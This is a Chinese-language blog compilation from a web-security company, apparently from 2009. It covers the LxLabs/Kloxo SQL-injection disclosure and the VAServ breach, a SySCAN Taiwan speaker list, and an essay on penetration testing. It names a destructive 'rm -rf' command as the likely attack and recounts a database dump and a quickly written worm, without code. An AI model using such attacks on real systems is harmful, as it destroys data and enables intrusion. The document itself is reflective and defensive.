Armorize Appsec Suite 提供了完整的網站應用安全

Armorize Appsec Suite™原始碼分析、網站應用程式的防火牆、網站惡意程式即時監控，保護企業免於因網頁漏洞所造成的威脅。

CodeSecure™自行研發的編譯器可以更精確的找出網站應用程式原始碼的漏洞，CodeSecure™是一個具有Web操作介面的硬體設備，適用於企業與軟體即服務（SaaS）的部署模式。
SmartWAF™是一種可以結合CodeSecure™源碼檢測結果快速「修補」網站弱點的主機型網頁應用程式防火牆

HackAlert™提供7x24網頁掛馬的監控服務，可提供全天候的掃描及預警，HackAlert™可以確保客戶網站免受惡意程式的威脅。

自從Armorize成立之後，快速的成長並且在全球各領域迅速累積客群，包括網際網路、政府及金融體系等各產業。

關於Armorize Technologies

Armorize是專注於網站應用程式安全的公司。

Armorize Appsec Suite™整合了獲獎無數的CodeSecure™, HackAlert™ 和SmartWAF™提供了完整的網站應用安全服務。

Armorize服務團隊深耕於網站應用程式安全研究，並連續在WWW研討會獲獎。
包括Red herring 100、及受邀參加Dow Jones VentureWire Technology Showcase 2008展示公司基礎及成果。

Jack Yu
Phone: +886-2-6616-0100 x405

[No Tech] SQL Injection 火線--談印度、創業與資安道德

2009-06-10T08:45:00.023+08:00

昨天晚上好幾個irc channel中，突然傳出這個新聞，引起大家很多的討論：LxLabs的創辦人自殺了。LxLabs的創辦人K T Ligesh，今年32歲，昨天被發現上吊於班加洛（印度矽谷）的家中。看到這個新聞，心裡真的是非常震驚，也非常難過。印度我們大概兩個月得去一次，其中又以印度的矽谷--班加洛，為最常跑的城市。雖然我不常陪同事去，但是也去過好幾次了，在當地有了不少朋友。班加洛是印度一個非常特別的城市。由於位於高原上，高海拔使得班加洛雖然在印度南部，但是卻擁有非常舒服的氣候。我第一次去，就被這個城市吸引了。到處都是高樓，還有漂亮的購物中心，跟印度其他地方的貧窮完全不一樣。雖然孟買也是有很多高樓與購物中心，但是孟買是商業中心，比較沒有IT的氣息。但是班加洛卻不一樣，這個城市一開始發展就規劃要成為印度的矽谷，並利用氣候與各種優惠條款吸引外商投資研發中心。第一次走進機場時，嚇一跳，好漂亮的機場，另外，怎麼感覺所有人都是工程師？不論是當地人，或是像我們一樣外來的，都是很geek的感覺。放眼看去，每個人肩上都背了一個電腦包，衣服上的logo...嗯嗯，MS，Intel，Oracle，Siemens，IBM，HP...怎麼大家連穿衣服都那麼geeky？然後坐著的人好像都在回email，有的用手機，有的用筆電。去吃飯，怎麼周圍所有人討論的都是IT話題？FaceBook API又怎樣了，Java的某framework又出問題了，某家公司的SDL竟然也改成scrum了。有時候在其他地方，這種討論會引來異樣眼光，好像在這麼好的餐廳，盡是討論技術，真是煞風景，還會被笑是geek。但是在這個城市，這是主流，不懂IT，大概會被笑。除了談技術，最熱門的話題大概就是創業了。好多人創立了自己的公司，好多人正在計畫，大家對於美國的新創公司如FaceBook、Twitter等的一舉一動，總是是那麼的熟悉，那麼的有興趣地討論著。這真是一個屬於geeks與創業家的城市啊！

除了本地的企業外，這裡外商非常多，大部分知名的歐美外商都來此建立研發中心，動不動就是三五千人的規模，人才則是來自印度各地的菁英。印度語言並沒有統一，北方話（Hindi）在此是沒有人懂的，於是唯一共同的語言就成了英文。這麼多這麼大，塞滿工程師的研發中心，每天寫出來的程式量非常可觀；當然，每天寫出來的弱點數，也非常可觀。這種規模的研發中心採用的管理模式與各種軟體開發流程，跟亞洲的其發地方很不一樣。大家非常在意各種軟體開發的模型與流程（up, xp, dsdm, agile, scrum, etc），也大量的使用各種軟體開發工具，來協助流程的建立。下面照片是在某客戶家裡的布告欄照的，由於有嚴格的控管，當時經過了層層主管的同意才得拍，還答應之後把公司名稱馬賽克掉：

這個客戶有一個專門的「工具評估」部門，大約有三十人，工作就是負責評估各式的軟體工具。一旦選擇，就大量的採用，並訓練內部的種子講師，知識管理系統，並協助各團隊將工具導入於開發流程中。照片中右方是一個「The Tools Open Challenge--May the best tool win!」（工具的公開挑戰--讓最好的工具贏吧！）

去這些公司裡頭做簡報，一開始還真有幾分壓力。客戶對於每個廠商瞭若指掌，對於工具的評估也非常有經驗。很多工程師基本上是看不起「資安專家」的，認為我們就學了那麼一招半式，其實對於軟體的開發，不論在實務上或流程上，都比不上他們的經驗與規模。記得第一次去的時候，來到一家公司，非常.com的裝潢，簡直快比Google豪華了。報告選在中午，公司自己的廚房讓每個人點自己要的菜，一堆工程師捧著午餐，把整個會議室擠滿了，後來的人就都爬到櫃子上坐著居高臨下，三十幾個人打量我們六個人，要看看我們到底有什麼厲害，還有什麼樣的工具他們沒看過的。聽他們的聊天內容，夠專業了，在美國也沒碰到這種陣仗，感覺左右兩邊的老外業務同事，與陪同的當地代理商，都感受到對方帶來的壓力，開始緊張了。嗯，這個時候一定要先利用時間，一一擊破，於是我趕快脫下西裝，加入他們的討論，讓他們慢慢發現，我們對語言，對開發技術，對各種模型都很熟，也與很多相同規模的客戶工作過。一邊聽他們最近在做的專案，一方面分享我們接觸過的其他國家同性質專案，慢慢的大家開始喜歡我們了，覺得原來「資安專家」也懂軟體開發。「讓我看看你們最近做好即將上線的系統吧！」對方驕傲的給了個內網URL，並解釋這個專案的整個流程，使用的工具，還有在資安上的作法。「可以測看看嗎？」「Sure, go ahead!」

簡報時間到了，先用視訊與在印度另一省的團隊連線，那邊也有約三十人。簡報開始，兩位阿碼的業務同事，一位白人一位印度人，負責大部分的簡報內容，講得又穩又專業，看來剛才的功夫對我軍有達到穩定軍心的作用。我則 fiddler + burp，忙了一陣子，運氣很好，SQL-i, XSS, CSRF 都找到了，同事講完，我做demo，資料庫直接dump出來。一下子變得很安靜，連電話那端都聽不到聲音了。沒人打電話，但是門口突然出現一堆人，大概是裡面的人用msn通知的吧。大家七嘴八舌一陣子猛問，終於瞭解了弱點與攻擊方式。「也沒什麼嘛！」「是沒什麼，但是不容易避免。這是我手動找的，用工具可以找到更多，工具才可以結合你們的流程，每天重複使用，這個你們比我們還專業，不用我多說」。「那是否下午就直接掃程式看看？」「沒有問題，我們下午有排其他會議，但是我們代理商會留下來協助各位POC」。雖然這個客戶目前其實對資安並不熟，但是整體技術能量很夠，這種團隊最容易，經過一陣子教育訓練以及導入工具後，很快就能開發出高安全性的系統。

記得下午跑的客戶，某外商大廠設的研發中心，三千五百人，幾乎所有黑箱工具都買了，白箱目前也都正在測試。跟這種客戶工作，廠商其實收穫很大，用這麼多特別設計過的程式碼，來測試這麼多黑白箱工具，連我們自己也沒有這麼完整的測試環境。跟測試團隊聊，各家黑箱的強處，不足，客戶經驗，建議的新功能，都在很短時間內分享給我們，這些資訊對我們實在很寶貴。回想起照片中那張海報：「工具的公開挑戰--讓最好的工具贏吧！」--這真是這裡的寫照。只要你團隊有實力，工具好，客戶大都會採用，這樣的環境阿碼就佔很大優勢。反觀台灣，常常我們都是測試結果比對手強很多，但是對手業務通常有辦法模糊測試結果，然後很敢放一大堆謠言：「阿碼資金有問題，快倒了，絕對稱不過年底」、「阿碼都只是一群駭客，工具亂做的而已」、「阿碼的工具，是開放源碼的FindBugs兜出來的」。Wow，真敢講，改天我們再反駁吧（沒營養）。如果是針對工具評比，我們很專業，也很有把握，但是常常要花時間在消毒這些謠言，這種時間就不那麼值得了。現在想起來，在班加洛，大家的話題總圍繞著技術或創業，每次的POC總是那麼愉快，這也許是為何我對這個城市印象一直很好的原因吧！

這也許是為何，在聽到新聞，有班加洛創業家因為產品有的SQL injection與其他弱點，造成客戶重大損失後，無法承擔壓力而上吊自殺後，感覺特別沈重，也讓我靜下來思考了許久。LxLabs是位於班加洛的一家虛擬化公司，位於班加洛，由印度人KT Ligesh所創辦。LxLabs的主力產品Kloxo（之前稱LxAdmin），在VPS hosting產業擁有相當的市佔率。LxLabs的網頁上有對Kloxo的資安宣言：Kloxo是已近乎偏執的態度來設計資安模型。基本概念就是每一個模組都不信任其他模組。我們將資安視為最重要的問題並投入了很多努力，建立了一個您可以有信心的資安環境。頁上並介紹了Kloxo的五層資安架構。

6月4日，milw0rm上登出了Kloxo一共24個資安問題，其中大部分是local exploit，但是包含了一個remote exploit--SQL injection，可以達成以root權限執行任意指令。這篇當時很多人都有注意到，因為Kloxo市佔率還算蠻廣的，尤其在低價的VPS方面。6月7日，很不幸地，位於英國，並在美國也有IDC的hosting公司VAServ Ltd（vaserv.com），被攻擊者利用上述漏洞，毀了超過十萬個網站。VAServ使用的虛擬化方案，正式LxLabs的Kloxo與HyperVM。除了VAServ的客戶外，該公司並持有其他品牌的hosting服務，包含了FsckVPS Hosting（fsckvps.com），CheapVPS（cheapvps.com），以及A2B2 Hosting（a2b2.com）。事發至今已經六天了，但是上述網站仍無法復原，使用上述個品牌做hosting的客戶，也只能等待，或趕快將網站搬家其他hosting廠商。

其實除了VAServ與相關品牌，我們發現利用Google就可以輕易找出其他使用LxLabs產品的Hosting，很多都還有上述弱點，攻擊過程也並不困難，LxLabs創辦人Ligesh與團隊之心裡壓力可想而知。這次的SQL injection弱點揭露，造成十萬個網站之損失，目前VAServ與客戶都還處於兵荒馬亂狀態，更造成LxLabs選擇結束生命之悲劇。網路上的討論也瞬間如疊高樓般，一個標題一下子可以有超過150頁的討論（例如這裡）。就我的記憶裡頭，資安事件雖多，造成受害者結束生命的，可能是第一次。可能因為同樣身為技術創業團隊，總覺得班加洛的人特別親切，特別有話聊，對於創業的種種艱難，我們大家也很多體會。看到一個弱點的揭露後所造成接連的悲劇，讓心情十分沈悶。

這次攻擊者可以大規模植入惡意連結或javascript（掛馬），或利用這些漏動作其他攻擊，但是都沒有，只是把檔案都砍掉了。於是很有可能的情況之一是，一個不到18歲的青少年，看到了milw0rm上的揭露，由於自己也是VAServ的使用者，試了一下，帶了 "rm -rf" 指令，就這樣不預期地，攻擊成功了，瞬間把十萬個網站都砍光了。十萬個網站這種規模的掛馬，經濟價值之高，圈內人都很清楚，如果是犯罪集團所為，大可不必「浪費」了這麼一個機會。那麼如果真是這樣，那就像小孩玩火，一不小心燒了一條街一樣，這種悲劇該如何避免？

看看網路上的討論，其實責怪攻擊者的人，遠超過責怪LxLabs或VAServ的人。我對這個留言特別有印象：

「任何人都可以破壞。創造與建設才是美。我的小狗都能小便與破壞。」（dribbleworld.com留）

資安是一種藝術，滲透測試中，每個系統都是一個不同的謎題，考驗著資安專家的經驗，敏感度，與靈感；這是為何hackers樂此不疲的原因之一。但是真正難的是創造，是建設，不是破壞。問題是，人的成長過程中，似乎很容易先學習破壞--19歲的MySpace Samy，17歲的Twitter Mikeyy，都是例子。人越成熟後，才越能體會建設之美，這是為何對於年輕人犯錯，社會常能給予寬容。小孩玩火，燒了一條街，大家都是輸家，要怪誰？反觀在這次事件中，是否要怪LxLabs，為何有這麼多漏洞？問題是，不用說像LxLabs這種創業團隊，即使是大銀行，大企業，在資安方面的預算都很有限。資安是很特殊的技術，除非長期注意威脅，接觸的技術面夠廣，不然一般人很難做好安全的產品開發。在金融風暴下，大公司都撐不住，更何況新創公司，要額外投資做好資安，有時的確有困難。但是有時弱點實在太過簡單，是否也因此引誘了犯罪？

網路上對於milw0rm，也是一片撻伐。大家認為，此弱點揭露的作者，於5月21日聯絡LxLabs，並有獲得回應，只是LxLabs處理得不夠快，作者就自行判定「廠商沒有興趣處理」，於是逕自完整揭露。三天後，十萬個網站毀了，LxLabs創辦人自殺了，這些事件，跟milw0rm上的揭露，有直接的關係。很多人認為milw0rm該負起責任。

負責的弱點揭露不是個容易的議題。有時，廠商就是吃定消費者。資安專家回報弱點後，過了一年還不見修復，或顧及廠牌形象與法律責任，修復後便不承認曾有漏洞。這常常造成資安專家像是啞巴吃黃連，明明看著對方漏洞百出，消費者權益蕩然無存，卻無法完整的揭露資安漏洞。

這次究竟milw0rm有沒有責任？還是要怪LxLabs？還是要怪惡作劇者？還是對方就是LxLabs的競爭對手，藉由此來打擊LxLabs？那麼豈不是罪大惡極？問題不容易回答，但是往後我會常常想到這個事件。當然，雖然主流媒體報導很一致，認為VAServ的入侵事件與LxLabs的0day有關（間隔三天），但是也有不同的說法，認為其實沒有關係，是VAServ的密碼重複使用並被竊聽導致（見irc log）。但是無論真相為何，一位創業家生命的喪失以及十萬網站的毀壞都已經是無可挽回的事實。我知道創業家的辛苦，很遺憾Ligesh生命的結束。以後在我感嘆手上的漏洞因為種種理由而無法公開時，我會想到此事；因為如果我們不負責的公開某漏洞，而造成類似的事件，那會是心裡一輩子的負擔；這些漏洞，在對方還沒修改時，就讓它永遠埋著吧！

這也是為何我很喜歡SySCAN與OWASP的會議。這兩個會裡，並不強調0day的展示。就像這次，milw0rm公佈的是LxLabs的0day，但是只不過是個老掉牙的SQL injection罷了，我覺得並沒有給資安社群帶來多少新的知識，但是卻帶來了十萬個網站的毀滅，十萬個中小企業突然沒了網站，一群可憐的IT工作人員不斷的加班，以及一位創業家生命的結束。就是像這種0day的公佈，增加了社會的成本與恐懼，污染了 "hackers" 在大眾心中的形象。即將舉辦的SySCAN所強調的，是前瞻性的資安技術與威脅，而不是各別產品的0day，內容包含了雲端運算與虛擬化安全性，iphone安全性，Android安全性，PHP核心安全性，ruby fuzzing技術，Web與RIA（Rapid Internet Applications）技術之安全性，RFID安全性，路徑安全性，以及新型惡意程式分析，讓我真的非常期待。

「任何人都可以破壞。創造與建設才是美。我的小狗都能小便與破壞。」--講得真好！

作者Wayne為阿碼科技創辦人
此文紀念班加洛創業家Ligesh，希望類似悲劇別再發生

Hack Day 徵槁，一票600NTD，SySCAN Taiwan 2009 部分講師陣容出爐（不含Hack Day講師）

2009-05-27T17:20:00.000+08:00

(轉貼自：http://syscantaiwan.blogspot.com/2009/05/hack-day-600ntdsyscan-taiwan-2009-hack.html）
非常感謝感謝大家對 SySCAN Hack Day 的投稿，繼續徵求稿件中，CFP見：
http://syscantaiwan.blogspot.com/2009/05/syscan-hack-day.html

票價部分，七月5日Hack Day單日一票600NTD，全程三天（七月5日Hack Day，七月7-8日SySCAN Taiwan本會）共3100NTD，見：http://www.syscan.org/Tpe/registration.html

SySCAN Taiwan 2009本會，部分講師陣容已經確定，今年精彩萬分，內容包含由Dave Aitel與Matt Conover負責之雲端運算與虛擬化安全性（打爆VM！），由Charles Miller負責之iphone安全性，由Marc Schoenfeld負責之Google Android安全性，由Stefan Esser負責之PHP核心安全性，由Ben Nagy負責之ruby fuzzing技術，由Justine Osborne負責之Web與RIA（Rapid Internet Applications）技術之安全性，由RFID祖師Lukas Grunwald負責之RFID安全性，由Fyodor Yarochkin負責之路徑安全探討，由Jeremy(Birdman)負責之新型惡意程式分析，以及由Wayne負責之Web安全性等，保證場場打爆之演出，絕對精彩！
部分已經確定之講師如下，詳細內容與報名方式請見SySCAN官網：http://syscan.org/Tpe/taipeiconference.html

1. Dave Aitel（Immunity創辦人兼技術長、多屆BlackHat/DEFCON講師	Dave Aitel是Immunity的創辦人兼CTO。Dave 18歲時就被美國國家安全局（NSA, National Security Agency）延攬擔任資安科學家，六年後離開加入@stake。Dave之前的領域以Linux與Unix上之入侵技術為主，但是之後隨著他創辦Immunity而轉為Windows上之入侵技術，近幾年則又包含了Web應用程式之入侵。Dave是fuzzing技術之全球先驅，他的SPIKE fuzzer於Black Hat 2002年發表後一直被資安圈所廣為使用。除了SPIKE Fuzzer，Immuntiy也一直提供各種的免費工具，如著名的SPIKE Proxy、Sharefuzz、Aircrack-ng SILICAQ Mod、DR RootKit、Unmask、DMOSDEF等。清單可見：http://www.immunitysec.com/resources-freesoftware.shtml。Dave著有「The Hacker's Handbook: The Strategy Behind Breaking into and Defending Networks」、「The Shellcoder's Handbook」、「Beginning Python」等三本書。
2. Charlie Miller（CanSecWest的Pwn2Own '08/'09兩屆冠軍）	Fuzzing大師Charlie Miller是近年資安界的新紅人：CanSecWest的Pwn2Own 2008/2009兩屆冠軍）（2009年繁體中文報導：Pwn2Own駭客大會Safari及IE 8首日就被攻陷、2008年繁體中文報導：PWN2OWN大賽，僅 Linux 全身而退、2009年簡體中文報導：Pwn2Own黑客大赛冠军：Mac比Windows安全、2008年簡體中文報導：PWN2OWN大赛，仅Linux全身而退）。Charlie似乎什麼都駭，包含Mac、iphone、android都逃不過他的fuzzing技術。近兩年內，Charlie在各大駭客年會上都有給演講，包含： BlackHat Europe 2009, Fun and Games Using In-Memory Execution on Mac OS X and iPhone CanSecWest 2009, Hacking Macs for Fun and Profit ShmooCon 2009, Pulling a John Connor: Defeating Android InfoSec World 2009, Hacking and Securing iPhones HITB 2008, iPwning the iPhone BlackHat Japan 2008, Owning the Fanboys: Hacking Mac OS X Black Hat USA 2008, Iron chef: Fuzzing Challenge WOOT, USENIX 2008, Engineering Heap Over?ow Exploits with JavaScript AuCert 2008, Adventures in Disclosure: Inside the Legal Exploit Sales Market RSA 2008, Breaking Security Systems: From Vulnerability Discovery to Disclosure CanSecWest 2008, Fuzz by Number ShmooCon 2008, Virtual Worlds – Real Exploits（PDF / Video） Charlie並著有以下書籍：「The Mac Hacker’s Handbook」、「Fuzzing for Software Security Testing and Quality Assurance」、「Open Source Fuzzing Tools」等。
Justine Osborne（BlackHat、DEFCON）	Justine Osborne是iSEC Partners的資安研究員，專精應用程式安全，著重於Web應用程式之滲透測試，code review，以及安全的程式開發原則。她也致力於自己的獨立資安研究，並常在各大國際資安年會上演講，近期之演講有： BlackHat 2008, Living in the RIA World: Blurring the Line Between Web and Desktop Security DEFCON 2008, Living in the RIA World (Paper / 投影片 / Video)
Lukas Grunwald（RFID Hacking祖師）	Lukas目前是德國DN-Systems Enterprise Internet Solutions GmbH公司的CTO，也擔任該公司駭客實驗室的首席。Lukas在資安有15年以上之經驗，專精無線與有線網路安全，資安鑑識，資安稽核以及active networking等技術。Lukas號稱是去年RFID講師Adam Laurie的老師，為研究RFID安全之祖師，他研發並公開之RFDump工具為最早之RFID攻擊工具，他並在BlackHat 2006會上做全球首度示範--如何拷貝RFID護照（繁中報導：[ZDNET]研究員：電子護照安全堪慮），簡中報導：智能卡联盟称电子护照复制没有安全风险，BlackHat 2006講義PDF）。其實Lukas早在BlckHat 2004，就已經給了精彩RFID演說並公佈工具，故稱為RFID攻擊之祖師，當之無愧。其他國際級資安會議不說，光是BlackHat，Lukas就於以下年次擔任過講師： BlackHat 2004, RF-ID and Smart-Labes: Myth, Technology and Attacks(PDF / 工具) BlackHat 2006, New Attack RFID-systems and Their Middleware and Backends (PDF) BlackHat 2008, Hacking and Injecting Federal Trojans (PDF / Video 1 / Video 2 / MP3_A / MP3_B)
Matt Conover "Shok"（RSA、SANS、CanSecWest）	外號"shok"，是Symantec Research Labs之首席工程師，也是w00w00團體的領導者。Matt於1999年，發表了全球第一篇關於Windows heap overflow之paper，在該領域堪稱全球第一交椅，Matt也曾擔任 RSA、CanSecWest、SANS與XCon研討會講師。Matt目前為SySCAN之評審委員之一，去年有來台灣給演講，深受好評。
Stefan Esser（PHP安全第一人）	在資安圈，Stefan被稱為「PHP安全第一人」。他於2002年加入PHP核心開發團隊，除了致力開發PHP引擎核心之外，也負責研究PHP安全問題。在更早時，Stefan發佈了許多資安弱點研究，包含在CVS，Samba，OpenBSD與IE內的弱點。2003年，Stefan是第一位利用緩衝區溢位漏洞，將linux灌進全新並完好之XBOX內，並開機成功。2006年他創立hardened-PHP計畫，後來於2006年發展成Suhosin PHP Security System。
Marc Schönefel（BlackHat）	Marc Schönefeld於80年代即利用一台Commodore 64，一台卡帶機與一本6502的書，開始了他的hacking生涯。他於2002年開始於各大國際會議演講，主要講JDK與JEE的安全性，例如：Black Hat 2002的「Security Aspects in Java Bytecode Engineering」，Black Hat 2003：「Hunting Flaws in JDK」等。在銀行做IT十年後，Marc加入了一家OS廠商，負責資安的研究與事件的應變。有空的時候，他追他的狗，虐待他的WII，找全世界最好吃的炒麵，探索無止盡的開放源碼世界，以及聽Ennio Morricone的音樂。
Ben Nagy（Infosecurity, Ruxcon）	Ben Nagy是COSEINC的研究員，最近致力於Word之binary格式研究，以及如何將成果運用於他開發的Metafuzz--一套用ruby寫的fuzzing framework。Ben常於各資安會議演講，包含Infosecurity以及Ruxcon等。Ben最近發表的論文包括：「SEH security changes in XPSP2」與「Generic Anti-Exploitation Technology for Windows」等。Ben之前為eeye之研究員。
Fyodor Yarochkin（其實會講中文的老俄）	Fyodor經常擔任各國際駭客年會之講師，包含BlackHat 2001 HK、BlackHat 2001 Singapore、BlackHat 2002、Ruxcon 2003、XCon 2003 / 2006、HITB 2004 / 2005、SyScan 2005 / 2008、Bellua 2005、VNSecurity 2007、SySCAN TW 2008、OWASP Asia 2008、Deepsec 2008、以及Coscup 2008。他於頂尖資安學術會議與地下雜誌皆有重要文章發表，包含Usenix Conference與Phrack Magazine（最具影響力之地下駭客雜誌）。Fyodor並為Snort最早的開發者之一，目前仍為Snort FAQ的維護者。Fyodor為XProbe的創辦人，有10年以上Web滲透測試經驗，並與Wayne在同一實驗室，為台大電機博士班候選人。
Jeremy Chiu "Birdman"鳥人	阿碼科技X-Solve實驗室首席研究員。Birdman利用其所研發之Archon與HackAlert技術，長期監控亞洲所有網站被掛馬之情況，專長各種惡意程式分析與抗毒技術。由於同時具有人鳥雙免疫系統，Birdman本體也是百毒不侵，在H1N1病毒威脅之年代，birdman為進化最完美之人鳥合一、人機合一之毒類終結者。唯鳥類有飛行之考量，其基因含控制體重因子，長期造成birdman體重無法上升之困擾。
Thomas Lim（SySCAN大會主席）	Thomas Lim是COSEINC與SySCAN的創辦人兼CEO，之前則於新加坡最大IT服務公司擔任資安首席。其間，他對於由資安廠商舉辦之大小資安會議及研討會，淪為廠商之業務推銷活動，深感遺憾，於是於2004年創辦SySCAN為中立之資安技術年會，並強調前瞻性之資安技術。今天，在SySCAN邁入第六屆時，SySCAN已成為資安圈最具有影響力的會議之一。COSEINC則為一家位於新加坡之資安研究公司，在2006年首度公開「藍色藥丸」（Blue Pill）--全球第一支以VM為基礎之rootkit後，COSEINC便聲名廣播，為資安圈大家熟悉之尖端研究公司。
Wayne（SySCAN台灣主席，阿碼科技創辦人）	Wayne為阿碼科技創辦人兼執行長，國際開放Web軟體安全計畫 (Open Web Application Security Project, OWASP)全球會議委員以及台灣分會會長。Wayne專攻資安領域，發表多篇得獎學術論文，多篇有超過100篇引述，並曾為RSA、WWW、PHP、SySCAN、OWASP等大型國際會議講師。阿碼科技（Armorize）為亞洲最專業之Web資安公司，研發整合性解決方案Armorize Appsec Suite，包含源碼檢測平台CodeSecure，Web掛馬監測平台HackAlert，Web應用程式防火牆SmartWAF，以及惡意程式檢測系統Archon等產品，行銷全球。

聯絡方式：thomas在syscan點org或hackday在armorize點com

詳細內容與報名方式請見SySCAN官網：http://syscan.org/Tpe/taipeiconference.html

No Tech -- 2

2009-05-17T00:13:00.002+08:00

剛好最近有一些事情發生，不然我其實都是掛著"外出取材"的狀態。

事情發生了，總是多多少少造成別人的困擾，而這些不滿都能理解。
技術圈子所提出的看法，總該有佐證說明，不需要受到可被操作的資訊影響，尤其是本質上差很多的東西，大家可不要變成口水專家。

在上一篇No Tech -- 1中，有長輩酸說"高道德公司"云云，我認為這不但沒有長輩風範，也沒有客觀的看待這個想法。
資安的技術部份，有很大一塊的灰色地帶，誘惑也沒少過，有很多的遊戲規則其實是靠自己摸索，產業的態度則決定了這些人在面臨就業時，是否被排擠到地下的可能。
事實上，我剛好就這次事件來觀察公司的態度；外界負面的聲音，說沒有漣漪是虛偽的，但同時也是個機會，讓公司成長為容錯的環境，而這樣的環境，我個人以為在資安工作尤為重要。

公司從過去聆聽資安工作者的聲音，到調整適合的工作方法，最近，更願意實質地投入資源，與內部溝通，以滿足技術人才知識需求。
這樣的一個工作環境在IT業都是難得的，更何況是一家能提供軟體又提供服務的資安公司。

聯絡方式：
Kuon （kuon在armorize點com）

Plurk蠕蟲、Twitter蠕蟲、MySpace蠕蟲與911於管理面之啟示：滲透測試的新觀念，讓軟體重生吧！

2009-05-09T20:36:00.024+08:00

(By Scott Hudson under Creative Commons "BY:")
今天好幾件事讓我有感而發。最近由於一方面阿碼有幾位從事滲透測試多年的朋友加入，我們重新組織了ASF（Armorize Special Forces）團隊，一方面剛好看到了幾篇最近大家寫的滲透測試文章，讓我也想寫一下我們對於滲透測試的看法。

首先我們來看滲透測試的定義。滲透測試比較傳統的定義，簡而言之，就是由資安專家模擬駭客之攻擊，找出安全漏洞，評估風險等級與建議處理之優先順序。但是近幾年，滲透測試有了新的思維與新的思考模式。

以網站安全來說，在傳統的思考邏輯中，防守方式因為不熟悉駭客攻擊之手法，因而無法做好防守。然而這幾年經過OWASP、WASC，以及各國指導單位如台灣研考會，資策會技服中心，軟協等大家之努力，大部分防守方已經很清楚威脅之來源。然而威脅依然沒有解除，網站還是天天被駭，這問題到底出在哪裡？難道守方比攻擊者笨嗎？

[911事件]

在911攻擊事件中，美國被住在沙漠山洞中之賓拉登團體直接攻擊心臟，擊毀了全國最重要的兩棟大廈，裡頭盡是美國之菁英。難道美國各情報單位不了解賓拉登所計畫之攻擊手法？難道住在沙漠山洞中之賓拉登團隊，比起美國各菁英特種部隊，擁有更好的技術？更先進的科技？更龐大的資源？更優秀的人才？如果沒有，美國又早知道攻擊手法，為何無法有效阻擋攻擊，避免911事件之發生？

這個情況與現今資安狀況剛好相同。如果沒記錯，Cross site scripting （XSS，跨腳本攻擊漏洞）約於1996年正式被定義，SQL injection（SQL注入漏洞）則約於1998年被定義（rf-puppy? meer?）。這些都是很老的漏洞了，然而一直到今天，我們還一樣在處理相關漏洞。這幾天公司幾位同事討論讀書會之成立與規劃，fyodor直接說，裡頭一定要有跟Web漏洞一點關係都沒有的hacking，因為任何跟XSS/SQL有關的研究，都「無聊至極，讓人想死。」fyodor說：「拜託來些跟internet與Web都無關的好嗎？」

沒錯，不論是buffer overflow（緩衝區溢位）或是XSS/SQL或是ARP Poisoning/spoofing，對於已經為了工作而處理了十年的我們來說，有時真的是...很...無...聊...。上述這些都是超過十年的老攻擊，三年前的MySpace(Samy)蠕蟲與不久前的Twitter(Mikeyy)蠕蟲（這裡、這裡、這裡），不但本質上沒多大差異，也大都是年輕人在玩的，進入資安比較久的人，早就不玩了（可憐苦命的我），或像NMAP作者fyodor v.於去年美國Black Hat在台上公開的說XSS是「很娘的東西」，贏來台下一陣掌聲。

可是為何在2009的今天，仍然對於守方來說，仍是很大的威脅？

原因是這是一場不對等的戰爭，攻擊雖難，防守更難。911事件中，攻擊方贏是贏在攻擊之後。攻擊結束後，攻擊方可以去渡假三年，可是美國卻要在每一班國內班機，每一場公眾聚會，每一次中型以上活動中，都增加安檢措施，對於整個邊境做27*7*365的防守，這些措施所提升的社會成本非同小可。賓拉登的攻擊方式很容易了解，就像XSS/SQL/CSRF一樣，但是並不容易防守。美國邊境很長，敵在暗我在明，又需要考慮任何防守措施所帶來的社會成本，在不知敵人將於何時進攻何處之情況下，防守所需要思維的面象，不是懂得攻擊就夠的！

[Twitter蠕蟲]

又以這次Twitter蠕蟲為例，Twitter團隊經過四次修復，都宣稱已經將漏洞修改好，但是其實並沒有修改對。這次Twitter蠕蟲也在WASC的mailing list上掀起一些小戰爭。看來已經是全球最大牌的資安研究員之間，仍無法取得共識，對於XSS，怎樣算是最好的修改方式？
（上次guo-rung問得很好，我也一直沒空回答。事實上以PHP中的XSS弱點為例，大家常推薦的htmlentities()就不是對付XSS的最佳字串處理函式，因為htmlentities()只是做到html-safe而已，並沒有tag-safe或script-safe。譬如如果不安全的字串出現在tag中或<script>中，htmlentities的處理就無效了。）

在這個事件中，攻擊手法很簡單：XSS，漏洞發生在程式哪一行也已知，但是多次修補卻沒有修對。這是為何我深深覺得其實資安專家都需要同時具備技術與管理方面之經驗。在許多防守之措施中，投資報酬與資源利用皆為重要之考量，在滲透測試或任何資安投資中亦是如是。今天的滲透測試，早已非僅止於「偽駭客攻擊」之執行，主要原因有二：第一，攻擊或找出漏洞，並不代表資安的提升；第二，執行之資安團隊所花之時間，直接轉價變成客戶之成本，故資安專家之時間，不能只花在模擬駭客攻擊上。

[Plurk蠕蟲]

今天我身體不適蹲在家中，朋友請我幫忙改他的blog與Plurk的架接，看著朋友寫的程式突然覺得很奇怪，感覺Plurk架構上有漏洞。於是在約15分鐘內，我沒有利用任何滲透測試工具（Burp/Paros/OWASP Webscarab之類），連"view source"都省了，註冊了我的第一個Plurk帳號（armorize被誰拿走了？另外不用follow我，我的Twitter在弄完蠕蟲後也早荒廢了），然後直接對照朋友的程式就寫了一隻蠕蟲，沒有幾行，連javascript都不用，跑起來還真的work，趕快Google查一下有沒有Plurk的聯絡方式可以把蠕蟲給他們。結果發現Google排名第一的連結告訴我，原來早在四月出，Twitter蠕蟲爆發前幾天，Plurk就公開徵求大家幫忙找弱點，大家也幫忙找了不少。一共92篇的留言，大家真的很積極；另一方面，首席工程師amix的blog上，也有場小戰爭，與當時Twitter蠕蟲造成WASC成員看法不同一樣，大家對於如何修改，有著不同的意見。

我說這麼快寫一隻蠕蟲，並不是說我們很厲害；這些蠕蟲這幾年大同小異，沒多大變化，相信很多本blog讀者都能比我寫得更快，找得更多（當然，等對方修完後也會公開讓大家參考）。但是重點是，找到漏洞後呢？如何有效正確的修補？這次發現的Plurk漏洞為全面性的，amix表示將需要多一些時間做全面性的改版，跟我預期的一樣。這就是我想說的：攻擊難，但是防守更難。

[「駭」得更安全？]

去年OWASP美國年會於九月在紐約舉辦，在開場中，OWASP的主席，也是Aspect Security的創辦人與CEO Jeff Williams 說道（上面影片約7:25時）：

『One thing we can do, is we can get our priorities straight.』
『我們該怎麼做？我們需要把我們的優先順序弄對』

『Many organizations spend most of their app security budget on "hacking," doing pentesting and scanning.』
『很多單位把他們大部分的資安預算花在 "駭" "hacking"上，也就是做滲透測試跟掃瞄』

『Now, there's nothing wrong with those things, they're important, but we're not going to hack ourselves secure』
『這個沒什麼錯，這些工作是重要的，但是我們沒辦法把自己「駭」得更安全』

